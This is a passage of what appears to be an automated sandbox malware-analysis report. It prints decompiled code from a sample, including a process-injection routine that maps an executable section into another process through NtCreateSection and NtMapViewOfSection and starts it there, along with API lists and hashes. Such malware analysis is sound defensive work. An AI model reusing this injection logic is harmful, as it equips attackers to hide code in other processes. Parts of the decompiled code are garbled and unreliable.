											}
											asm("loop 0xffffffe9");
										}
										_pop(_t181);
										_t172 = 0;
										__eflags = 0;
										_t108 = _t195 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t195 - 0xc), 0, 0, 0, 0, 0, _t181[0xa] +  *(_t195 - 0x40),  *(_t195 - 0x3c), _t108, 0);
									} else {
										L50();
										_pop(_t175);
										_t172 = _t175 - 0x1781;
										 *((intOrPtr*)(_t172 + 0x17b5)) = _t172 + 0x2c1d;
										E00401256(_t127, _t172 + 0x17b5, _t172, _t181, _t221, _t172 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t172 + 0x17da)) = _t172 + 0x2c6d;
										_t156 =  *(_t195 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t197;
				_t198 =  &(_t197[1]);
				_push(0x37e);
				_t131 =  *_t198;
				return E004011BB(_t91, _t131, _t156, _t172, _t181, _t221, _t222);
			}

0x004014f4
0x004014f4
0x004014f4
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f1d7e44725552df3b8a433dca4a55b3c946ca18e27db3ab168963acc55609184
Instruction ID: 46a14779cbf14933c6859ffc6b63d0487160ef9ff8ab9e0fd5fa9402c868ef7e
Opcode Fuzzy Hash: f1d7e44725552df3b8a433dca4a55b3c946ca18e27db3ab168963acc55609184
Instruction Fuzzy Hash: 705109B5900255BFEF219F91CC48FEFBBB8FF85B10F104159FA11AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00401501(void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t129;
				signed int _t130;
				void** _t131;
				signed int _t138;
				int _t139;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				void* _t161;
				intOrPtr* _t162;
				long _t171;
				intOrPtr _t173;
				void* _t174;
				HANDLE* _t180;
				HANDLE* _t182;
				void* _t187;
				intOrPtr* _t190;
				void* _t193;
				void* _t194;
				signed int* _t196;
				signed int* _t197;
				signed int* _t200;
				signed int* _t201;
				long _t216;

				_t221 = __fp0;
				_t155 = __edx;
				asm("sbb eax, 0x53f4eb29");
				_t129 = 0x37e;
				E004011BB(_t84, _t129, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t194 + 8));
				_t171 = 0;
				 *((intOrPtr*)(_t194 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t194 - 0x34)) =  *((intOrPtr*)(_t194 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t194 - 0x5c)) = _t87;
				_t180 = _t194 - 0x60;
				 *_t180 = _t171;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t180);
				_t90 =  *_t180;
				if(_t90 != 0) {
					_t131 = _t194 - 0x30;
					 *_t131 = _t90;
					_t131[1] = _t171;
					_t180 = _t194 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t180, 0x18);
					 *_t180 = 0x18;
					_t155 = _t180;
					_push(_t194 - 0x30);
					_push(_t180);
					_push(0x40);
					_push(_t194 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t194 - 0x10), 0xffffffff, 0xffffffff, _t194 - 0xc, _t171, _t171, 2) == 0) {
						 *(_t194 - 8) = _t171;
						_t98 = _t194 - 0x50;
						 *(_t98 + 4) = _t171;
						 *_t98 = 0x5000;
						_t182 = _t194 - 0x54;
						if(NtCreateSection(_t182, 6, _t171, _t98, 4, 0x8000000, _t171) == 0) {
							 *_t25 =  *(_t194 - 0x50);
							_t121 = _t194 - 0x44;
							 *_t121 = _t171;
							if(NtMapViewOfSection( *_t182, 0xffffffff, _t121, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t123 = _t194 - 0x3c;
								 *_t123 = _t171;
								if(NtMapViewOfSection( *_t182,  *(_t194 - 0xc), _t123, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
									_t193 =  *(_t194 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t171, _t193, 0x104);
									 *((intOrPtr*)(_t193 + 0x208)) =  *((intOrPtr*)(_t194 + 0x14));
									 *(_t194 - 8) =  *(_t194 - 8) + 1;
								}
							}
						}
						_t100 = _t194 - 0x50;
						 *(_t100 + 4) = _t171;
						 *_t100 =  *((intOrPtr*)(_t194 + 0x10)) + 0x10000;
						_t180 = _t194 - 0x58;
						if(NtCreateSection(_t180, 0xe, _t171, _t100, 0x40, 0x8000000, _t171) == 0 &&  *(_t194 - 8) != 0) {
							 *_t46 =  *(_t194 - 0x50);
							_t102 = _t194 - 0x48;
							 *_t102 = _t171;
							if(NtMapViewOfSection( *_t180, 0xffffffff, _t102, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t104 = _t194 - 0x40;
								 *_t104 = _t171;
								_t216 = NtMapViewOfSection( *_t180,  *(_t194 - 0xc), _t104, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 0x20);
								if(_t216 == 0) {
									L18();
									if(_t216 == 0 && _t216 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t156 =  *_t196;
									_t200 =  &(_t196[1]);
									_push(_t156);
									_t106 =  *_t200;
									_t201 =  &(_t200[1]);
									_t157 = _t156 << 5;
									_t158 = _t157 + _t106;
									asm("lodsb");
									_t159 = _t158;
									asm("loop 0xffffffc3");
									_t160 = _t159 ^ 0xc66a5524;
									_t196 = _t201 - _t160;
									_t187 =  *((intOrPtr*)(_t194 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t194 + 0xc))));
									_t138 =  *(_t187 + 6) & 0x0000ffff;
									_push(_t187);
									_t161 = _t187;
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_t162 = _t161 + 0xf8;
										__eflags = _t162;
									} else {
										_t162 = _t161 + 0x108;
									}
									_push(_t138);
									_t139 =  *(_t162 + 0x10);
									if(_t139 != 0) {
										memcpy( *((intOrPtr*)(_t162 + 0xc)) +  *(_t194 - 0x48),  *((intOrPtr*)(_t162 + 0x14)) +  *((intOrPtr*)(_t194 + 0xc)), _t139);
										_t196 =  &(_t196[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t180);
									_t220 =  *((intOrPtr*)(_t194 - 0x34));
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_push(_t180);
										_t155 = _t180[0xd] -  *(_t194 - 0x40);
										_t190 = _t180[0x28] +  *(_t194 - 0x48);
										__eflags = _t190;
										while(1) {
											__eflags =  *_t190;
											if( *_t190 == 0) {
												break;
											}
											_t173 =  *_t190;
											_t190 = _t190 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t155;
												__eflags =  *((intOrPtr*)(0 +  *(_t194 - 0x48) + _t173));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t180);
										_t171 = 0;
										__eflags = 0;
										_t108 = _t194 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t194 - 0xc), 0, 0, 0, 0, 0, _t180[0xa] +  *(_t194 - 0x40),  *(_t194 - 0x3c), _t108, 0);
									} else {
										L51();
										_pop(_t174);
										_t171 = _t174 - 0x1781;
										 *((intOrPtr*)(_t171 + 0x17b5)) = _t171 + 0x2c1d;
										E00401256(_t127, _t171 + 0x17b5, _t171, _t180, _t220, _t171 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t171 + 0x17da)) = _t171 + 0x2c6d;
										_t155 =  *(_t194 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t196;
				_t197 =  &(_t196[1]);
				_push(0x37e);
				_t130 =  *_t197;
				return E004011BB(_t91, _t130, _t155, _t171, _t180, _t220, _t221);
			}

0x00401501
0x00401501
0x00401501
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ebf5b87ca574a2093f45f0c1329a303c09540bf947450197218f7952483030ba
Instruction ID: bd371bee40ec3abd78cd11d740c8041ac39bc23a5b358860ff84b61223384543
Opcode Fuzzy Hash: ebf5b87ca574a2093f45f0c1329a303c09540bf947450197218f7952483030ba
Instruction Fuzzy Hash: EF5109B5900259BFEF209F91CC48FDFBBB8FF85B10F144159F911AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0207003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0207024D

Strings

cess, xrefs: 0207018D
kernel32.dll, xrefs: 0207008F, 02070095

Memory Dump Source

Source File: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2070000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 50efd5ea452f4a254e78f57e487951b55c6c7cb92d3f8d917f5750a4a807583a
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: D5525875E012299FDBA4CF58C984BACBBB1BF09304F1481D9E94DAB251DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040A22A Relevance: 7.6, APIs: 5, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0040A267

Memory Dump Source

Source File: 00000000.00000002.339611834.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __calloc_crt
String ID:
API String ID: 3494438863-0
Opcode ID: 53f0db518e11e19cf3d20b75c8e5157a4bfced06fe33a4e46221324b2e3a85d0
Instruction ID: 7ff23b28151b566c8cbfd56bb0cd94605b4a1bb2763dc4f056cfeb7ae197ddbf
Opcode Fuzzy Hash: 53f0db518e11e19cf3d20b75c8e5157a4bfced06fe33a4e46221324b2e3a85d0
Instruction Fuzzy Hash: C521F6B28083406AD7216B317C05B6737C8EB81379F2505BFE851763D2EB7E9891865E

Uniqueness

Uniqueness Score: -1.00%

Function 02070E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02070223,?,?), ref: 02070E19
SetErrorMode.KERNELBASE(00000000,?,?,02070223,?,?), ref: 02070E1E

Memory Dump Source

Source File: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2070000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 455c2124494d89fefc595ca8015f7c2e2e7cbe2ef3c0df78bb7229cd438db30c
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C2D0123154522877D7412A94DC09BCD7B5CDF09B66F008011FB0DD9080C770954046E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040189D Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E0040189D(signed int __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t14;
				void* _t15;
				void* _t20;
				signed char _t21;

				_t18 = __edi;
				_t17 = __edx ^  *[gs:0x18c3b8];
				_t21 = __edx ^  *[gs:0x18c3b8];
				__eax = __eax | 0xf3f98595;
				__eflags = 0x18c3;
				_t15 = 0x65;
				E004011BB(0x18c3, _t15, _t17, __edi, __esi, _t21, __fp0);
				_t14 =  *((intOrPtr*)(_t20 + 8));
				Sleep(0x1388);
				_t11 = E004013F5(_t17, _t18, __esi, _t21, _t14,  *((intOrPtr*)(_t20 + 0xc)),  *((intOrPtr*)(_t20 + 0x10)), _t20 - 4); // executed
				_t22 = _t11;
				if(_t11 != 0) {
					E004014CF(_t17, _t22, __fp0, _t14, _t11,  *((intOrPtr*)(_t20 - 4)),  *((intOrPtr*)(_t20 + 0x14))); // executed
				}
				 *_t14(0xffffffff, 0);
				_push(0x18c3);
			}

0x0040189d
0x0040189d
0x0040189d
0x004018ad
0x004018ad
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8b77036b1a27a9c7dfc0189ead4c1f30c43aa5a46c5e9ddab95927bc0a212abd
Instruction ID: a02e35ba6da00efe994e29ce0eaeefbb09db0d2e4018ecf4a20588ff4ad8f681
Opcode Fuzzy Hash: 8b77036b1a27a9c7dfc0189ead4c1f30c43aa5a46c5e9ddab95927bc0a212abd
Instruction Fuzzy Hash: 6201B977608105EBEB016A948C41EB93765AF44711F24C537BA03781F1D67D8713A76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401890 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00401890(void* __ebx, void* __edi, void* __esi, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t11;
				intOrPtr* _t15;
				void* _t16;
				void* _t17;
				void* _t20;

				_t18 = __edi;
				_push(__edi);
				__eax = __eax | 0xf3f98595;
				__eflags = 0x18c3;
				_t16 = 0x65;
				E004011BB(0x18c3, _t16, _t17, __edi, __esi, _t20, __fp0);
				_t15 = _a4;
				Sleep(0x1388);
				_t11 = E004013F5(_t17, _t18, __esi, _t20, _t15, _a8, _a12,  &_v8); // executed
				_t21 = _t11;
				if(_t11 != 0) {
					E004014CF(_t17, _t21, __fp0, _t15, _t11, _v8, _a16); // executed
				}
				 *_t15(0xffffffff, 0);
				_push(0x18c3);
			}

0x00401890
0x00401898
0x004018ad
0x004018ad
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Part of subcall function 004014CF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014CF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
Part of subcall function 004014CF: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 04d77c005a321a04c0d65ccc9281052a4a3ded78dde72ec47b1ef39188f4cdac
Instruction ID: 8f39270ed9ea08bd5d3f38822785b1c482e0596b14cfc6610146d31112912ead
Opcode Fuzzy Hash: 04d77c005a321a04c0d65ccc9281052a4a3ded78dde72ec47b1ef39188f4cdac
Instruction Fuzzy Hash: 1001D876608104EBE7007A948C81EAA3369AF04710F208537BA03781F1C53D9713A76F

Uniqueness

Uniqueness Score: -1.00%

Function 004018BA Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E004018BA(void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t14;
				void* _t15;
				void* _t16;
				void* _t19;

				_t20 = __eflags;
				_t17 = __edi;
				_t15 = 0x65;
				E004011BB(_t8, _t15, _t16, __edi, __esi, __eflags, __fp0);
				_t14 =  *((intOrPtr*)(_t19 + 8));
				Sleep(0x1388);
				_t11 = E004013F5(_t16, _t17, __esi, _t20, _t14,  *((intOrPtr*)(_t19 + 0xc)),  *((intOrPtr*)(_t19 + 0x10)), _t19 - 4); // executed
				_t21 = _t11;
				if(_t11 != 0) {
					E004014CF(_t16, _t21, __fp0, _t14, _t11,  *((intOrPtr*)(_t19 - 4)),  *((intOrPtr*)(_t19 + 0x14))); // executed
				}
				 *_t14(0xffffffff, 0);
				_push(0x18c3);
			}

0x004018ba
0x004018ba
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Part of subcall function 004014CF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014CF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
Part of subcall function 004014CF: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2150068fafe268fe9e7df539654189d3fc6e8b654a1e8f04fb5b48b64cd69d78
Instruction ID: b534f1cd2e4676c17bf77ce83b64d7a83011e734f56cb89338415bb8e59cf26b
Opcode Fuzzy Hash: 2150068fafe268fe9e7df539654189d3fc6e8b654a1e8f04fb5b48b64cd69d78
Instruction Fuzzy Hash: EDF06876208105EBDB016F949C82EAE3365AF48711F248537FB03791F1C67D9623A76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0207092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02070966
., xrefs: 0207095F
GetProcAddress., xrefs: 020709DC, 020709DF, 020709E4

Memory Dump Source

Source File: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2070000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 222ddb5058cdaa74dd46892d462cb25282b0ac1eeaab041149d7128d3079800e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F93148B6910709DFDB11CF99C880AEEBBFAFF48324F15414AD841A7210D771EA45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F9D Relevance: 1.4, Strings: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00402F9D(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t30;
				signed int _t37;
				void* _t38;
				void* _t42;
				void* _t44;

				asm("fidiv dword [edi]");
				 *__eax =  *__eax + __eax;
				_t30 = __eax + __eax;
				if(_t42 != 1) {
					if (__eflags == 0) goto L12;
					while(1) {
						asm("ror byte [ebp+0x65], 0x74");
						__ebp = __ebp - 1;
						__eflags = __ebp;
						if(__ebp == 0) {
							 *__edx =  *__edx - __eax;
							__eflags =  *__edx;
							_push(__eax);
							if( *__edx != 0) {
								L43:
								asm("out dx, eax");
							}
							__al = __al +  *((intOrPtr*)(__eax - 0x7ffdd5f5));
							asm("adc al, 0x2a");
							__al = __al +  *__eax;
							asm("adc [edx], ch");
							__eflags = __dl;
							L42:
							 *__eax =  *__eax + __al;
							__ah = __ah + __ah;
							asm("a16 mov ebx, 0xbb9df35c");
							 *0x10b3624e = __eax;
							asm("in eax, 0x5f");
							goto ( *((intOrPtr*)(__esp + __eax - 0x108246a3)));
							goto L43;
						}
						__edi = __edi + 1;
						__eflags = __edi;
						if(__eflags == 0) {
							L10:
							 *__eax =  *__eax + __al;
							_pop(__ecx);
							__ebx = __ebx + __edx;
							__eflags = __ebx;
							__edx = __eax * __ecx >> 0x20;
							__eax = __eax * __ecx;
							__eax = __eax + 0xfb729e8c;
							__eflags = __eax;
							__eax = __eax + __ebx;
							__eflags = __eax;
							if(__eflags != 0 && __eflags == 0) {
								_t6 = __eax;
								__eax = __edi;
								__edi = _t6;
								asm("sbb [eax-0x77], dh");
							}
							 *(__esp - 4) = __eax;
							__esp = __esp - 4;
							return __eax;
						}
						 *((char*)(__ecx + 0x74)) =  *((char*)(__ecx + 0x74)) - 0xc0;
						_t10 = __eax *  *(__edx + 0x74);
						__edx = __eax *  *(__edx + 0x74) >> 0x20;
						__eax = _t10;
						__eflags = __eax;
						asm("loopne 0x43");
						if(__eflags == 0) {
							L32:
							asm("invalid");
							if(__eflags <= 0) {
								L35:
								 *__eax =  *__eax + __al;
								 *__eax =  *__eax + __ah;
								asm("int1");
								asm("out 0x75, al");
								asm("adc al, dh");
								asm("out 0x75, al");
								 *__eax =  *__eax + __al;
								 *__eax =  *__eax + __al;
								asm("loopne 0xffffffa5");
								__ah = 0x74;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
								 *__eax =  *__eax + __al;
								 *((intOrPtr*)(__eax - 0x69)) =  *((intOrPtr*)(__eax - 0x69)) + 0x74;
								 *__edx =  *__edx - __eax;
								__eflags =  *__edx;
								__al =  *0x80022999;
								L37:
								asm("cdq");
								 *__edx =  *__edx - __eax;
								asm("adc byte [edi-0x699ffdd7], 0x29");
								__al = __al + __al;
								 *__edx =  *__edx - __eax;
								asm("pushad");
								 *__edx =  *__edx - __eax;
								__eflags =  *__edx;
								if ( *__edx < 0) goto L23;
								L38:
								_t20 = __eax;
								__eax = __esi;
								__esi = _t20;
							}
							asm("in eax, dx");
							asm("rcr byte [ebx-0x3f4f894a], 0xb5");
							if(__eflags <= 0) {
								goto L37;
							}
							asm("enter 0x76b6, 0x0");
							goto L35;
						}
						_pop(__ecx);
						if(__eflags == 0) {
							goto L38;
						}
